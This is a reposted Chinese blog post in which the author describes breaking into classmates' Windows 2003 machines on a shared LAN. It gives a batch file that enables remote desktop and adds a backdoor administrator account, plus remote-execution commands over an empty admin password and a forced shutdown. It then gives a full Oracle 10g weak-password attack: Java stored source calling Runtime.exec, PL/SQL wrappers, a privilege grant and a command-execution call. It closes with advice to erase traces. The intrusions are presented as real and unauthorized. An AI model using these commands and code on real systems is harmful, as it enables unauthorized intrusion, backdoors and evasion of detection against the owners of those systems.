您的位置:首页 > 数据库 > Oracle

Oracle 10g弱口令攻击

2011-10-20 14:24 169 查看
2011-01-08 13:52:44| 分类:

Hack everything! | 标签:java rc oracle bufsize int
|字号大中小 订阅

最近网速又是ungeliveble了……
"全民上网,决不BT下载!”这是局域网用网宗旨啊!无奈,好多童鞋就下载,而且全是一些烂电视剧,一不小心就是好几G,几十G,10M的网速怎么经得起这样的折腾!
幸好他们的安全意识不怎么样,前天用默认的隐藏共享在另一个网段一些童鞋的C盘里丢了一下面的批处理mstsc.bat:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

net user test test /add

net localgroup administrators test /add

以上三条就是:
1. 打开远程桌面
2. 添加一个用户名/密码:test/test的用户
3. 将test用添加到管理员组
我这里LAN的机器全是Windows 2003的而且登录窗口是:



他们的安全意识似乎不高,所以我就没有必要添加什么隐藏用户之类的,然后再用下面的命令完成迅速占领
C: >net use \\192.168.3.46\ipc$ " " /user:administrator
命令成功完成。
C: >net time \\192.168.3.46
\\192.168.3.46 的当前时间是 2011-1-6 19:15
命令成功完成。
C: >at \\192.168.3.46 19:16 C:\windows\system32\mstsc.bat
新加了一项作业,其作业 ID = 2
是不是纠结怎么会有这么菜的机器等着我?不好好学习看电视剧的人就这样……
至于如果修补我就不说了。
等过了19:16就win+R:mstsc,用test/test成功进入它机器了(当然你用administrator/” ”登录也行 ,我创建个用户是为了防止他哪天心血来潮修改密码我又得花力气进去了……)
在他电脑里装了流量监测软件,首先来个流量限制,然后谁下载就给他这个果子吃。
shutdown –s –c ”大哥,别下载了……回家老婆孩子热炕头,OK?” –t 10
如果他不会shutdown –a就等着关机吧!
然后批量的执行了上面的操作,果然好多了……
192.168.3.X网段的家伙气焰被打击了不少,自己的网段又来了……
也许是被渲染了,这个家伙居然密码改了,隐藏共享全关了,流量出其的高,难道没撤了?!
学Java要用Oracle是不?想不到Oracle也会让你栽吧?
因为这里的机器都是刷机的,所有Oracle的密码都是一样的而且是DBA权限!
先用mickey兄的调用msvcrt.dll文件来试,郁闷了,报错:



也就是调用库文件出错了,网上解释全是listener.ora,tnsnames.ora配置文件有问题,咋办?我要是能进他电脑修改Oracle配置文件,还费这么大周张干什么?
上下网而求索,终得方法:
既然是弱口令,我就直接用PL/SQL Developer(Oracle数据开发软件,网上多的是)连接上他电脑的Oracle服务。
连接上他电脑的Oracle了,就新建SQL窗口……然后:
第一步:创建Java Sources文件用于执行cmd,学过Java就会明白,这段代码主要是干什么的,而且也很简单。

CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "util"

AS

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

{

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

{

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

{

e.printStackTrace();

RC = -1;

}

finally

{

return RC;

}

}

}
第二步:创建函数调用该代码

CREATE OR REPLACE FUNCTION RUN_CMD(F_CMD IN VARCHAR2)

RETURN NUMBER

AS

LANGUAGE JAVA

NAME 'util.RunThis(java.lang.String) return integer';
第三步:创建过程调用该函数

CREATE OR REPLACE PROCEDURE RC(P_CMD IN VARCHAR2)

AS

X NUMBER;

BEGIN

X:=RUN_CMD(P_CMD);

END;
然后切换到你自己电脑的命令提示符下:
1. 连接:

Sqlplus system/密码@IP:端口号/数据服务名称
2. 执行如下代码:

VARIABLE X NUMBER;

SET SERVEROUTPUT ON;

EXEC DBMS_JAVA.SET_OUTPUT(100000);

GRANT JAVASYSPRIV TO SYSTEM;
3. 强行入侵代码:

exec :x:=run_cmd('cmd /c cmd命令');
都这样了你还不是想干什么就干什么?开个后门什么的……
截图示之:



进他电脑……给予警告!然后继续学习……
当然,完成攻击之后,在Oracle中把留下的JavaSources文件、函数、存储过程全删了,不给他留下!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: